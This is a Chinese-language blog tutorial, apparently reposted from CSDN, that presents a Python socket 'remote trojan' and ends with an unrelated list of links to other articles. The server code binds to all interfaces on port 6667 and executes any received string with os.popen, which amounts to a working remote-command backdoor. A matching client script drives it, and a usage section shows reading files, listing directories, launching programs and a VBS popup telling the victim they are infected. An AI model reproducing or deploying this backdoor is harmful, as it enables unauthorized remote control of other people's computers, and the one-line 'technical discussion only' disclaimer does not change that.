Python Socket实现远程木马弹窗详解
作者:共黄昏 发布时间:2022-11-28 10:04:39
严正声明:本文仅限于技术讨论,严禁用于其他用途。
基础知识
socket通信模块:针对TCP/IP协议簇进行的程序封装,在Windows/Linux均有这样底层模块。
Unicode 有多种存储方式,常见的有 UTF-8、UTF-16、UTF-32,它们分别用不同的二进制格式来表示 Unicode 字符
如果全部英文或英文与其他文字混合,但英文占绝大部分,用UTF-8就比UTF-16节省了很多空间.而如果全部是中文这样类似的字符或者混合字符中中文占绝大多数.UTF-16就占优势了,可以节省很多空间
编码:
英文多:建议用UTF-8编码(utf-8是使用最多的编码方式,是一种变长字符编码)
中文多:建议用UTF-16编码
中文:window中文采用的是GBK格式编码
netstat -ant :只显示传输层的数据 TCP,UDP连接,可以用来检查socket服务是否起了
服务端(server)程序
import socket, os
def attack():
try:
s = socket.socket()
s.bind(('0.0.0.0', 6667)) # 使用缺省地址,所有设备均可访问该服务器的6667端口
s.listen() # 对6667端口进行监听
chanel, client = s.accept() # 进入阻塞状态,accept() 返回元组,接受来自客户端的数据,chanel:新的socket对象用于标识出服务器和哪个客户端连接进行通信, client: 客户端的IP和端口
while True:
receive = chanel.recv(1024).decode()
reply = os.popen(receive).read()
chanel.send(f"命令{receive}的运行结果:\n{reply}".encode())
except:
s.close()
attack()
if __name__ == '__main__':
attack()
客户端(client)程序
import socket
s = socket.socket()
s.connect(('192.168.137.1', 6667))#192.168.137.1是socket服务器的地址
while True:
sendstr = input("请输入消息:")
s.send(sendstr.encode())
receive = s.recv(1024).decode()
print(f"服务器回复:{receive}")
# s.close()
其他命令执行函数
提示:需要导入 os 模块—— import os
os.system('ipconfig')
os.popen('ipconfig').read()
eval() # 将字符串按照Python代码来执行
该木马程序的基本用法
1、查看文件内容
window
type 文件绝对路径
linux
cat 文件路径
2、查看文件目录
window
dir #查看当前文件路径目录
dir 文件路径 #查看指定文件路径目录
linux
ls #查看当前文件路径目录
ll #查看当前文件路径目录详细信息
ls 文件路径 #查看指定文件路径目录
ll 文件路径 #查看指定文件路径目录详细信息
3、创建文件或目录
windows
echo test >> demo.txt #创建一个demo.txt文件,文件内容为 test
linux
mkdir 路径 #创建目录
echo test >> demo.txt #创建一个demo.txt文件,文件内容为 test
4、调用windows应用程序
调用计算器
calc.exe
调用其他引用程序
直接输入应用程序绝对路径
5、调用Windows弹窗
echo msgbox("你中木马了!!") > E:\hi.vbs
E:\hi.vbs
来源:https://blog.csdn.net/weixin_49472648/article/details/125308268


猜你喜欢
- 在路上发现好多人都喜欢用耳机听小说,同事居然可以一整天的带着一只耳机听小说。小编表示非常的震惊。今天就用 Python 下载听小说 
- 下载安装Anaconda下载地址如下,根据所需版本下载安装过程暂略(下次在安装时添加)下载安装Pycharm下载安装Pycharm,下载对应
- 一、插补查找算法插补查找算法又称为插值查找,它是折半查找算法的改进版。插补查找是按照数据的分布,利用公式预测键值所在的位置,快速缩小键值所在
- 一、过滤器作用过滤器用于进行文本内容格式化处理。二、过滤器的使用方式过滤器可以在插值表达式和 v-bind 中使用。三、过滤器的分类全局过滤
- 本文是对《Python Qt GUI快速编程》的第9章的堆叠窗口例子Vehicle Rental用Python3+PyQt5+Qt Desi
- 环境:centos7 python3.6测试网址:www.bai.com测试方式:抓取百度100次结果:aio: 10.7021474838
- 这里主要是讲在asp下两次由access数据库升级到sql server数据库后的经验及注意事项,其它语言也可以参考一下。欢迎讨论补充。1.
- 下面的例子简单的演示了DOM对XML的操作,详细解释请看代码中的注释 <? /****************************
- 描述符类要求:描述符就是将某种特殊类型的类的实例指派给另一个类的属性至少要实现以下的一个方法:•__get__(self, instance
- MMClassification是一个基于PyTorch的开源图像分类工具箱,是OpenMMLab项目的一部分,源码传送门,最新发布版本为v
- python的scipy.stats模块是连续型随机变量的公共方法,可以产生随机数,通常是以正态分布作为scipy.stats的基本使用方法
- 介绍我们用django在本地调试完了之后,会在服务器上进行部署,如果是大佬那就忽略本文章,如果是萌新对编程命令不太熟悉,那就要用到宝塔了。流
- python 如何获取文件夹中的全部文件在神经网络准备训练集的时候,经常需要从文件夹中读取全部图片。经常遇到的有两种方式1 os.listd
- 任何位置都能明确“我在哪里?这里有什么?从这里能去哪里?” 小时候,童话故事都告诉我们,迷路可不是一件好事。那会伴随着困惑、沮丧、
- Python3.4版本当我把新增加的用户信息填写完成后,点击保存,然后出现了这样的错误:IntegrityError at /admin/u
- 本文实例为大家分享了python os模块在系统管理中的应用代码,供大家参考,具体内容如下#临时文件import tempfile temp
- 与事件循环进行交互,最基本的方式就是任务,任务封装了协程和自动跟踪它的状态。任务是Future类的子类,所以其它协程可以等待任务完成,或当这
- jTopo 帮助说明网站http://www.jtopo.com/index.html使用例子:http://www.jtopo.com/d
- 当前登入的用户以及他(她)的权限可以通过 RequestContext 在模板的context中使用。注意从技术上来说,只有当你使用了 Re
- 鲲之鹏的技术人员将在本文介绍一种通过模拟操作微信App的方式采集指定公众号的所有历史数据的方法。通过我们抓包分析发现,微信公众号的历史数据是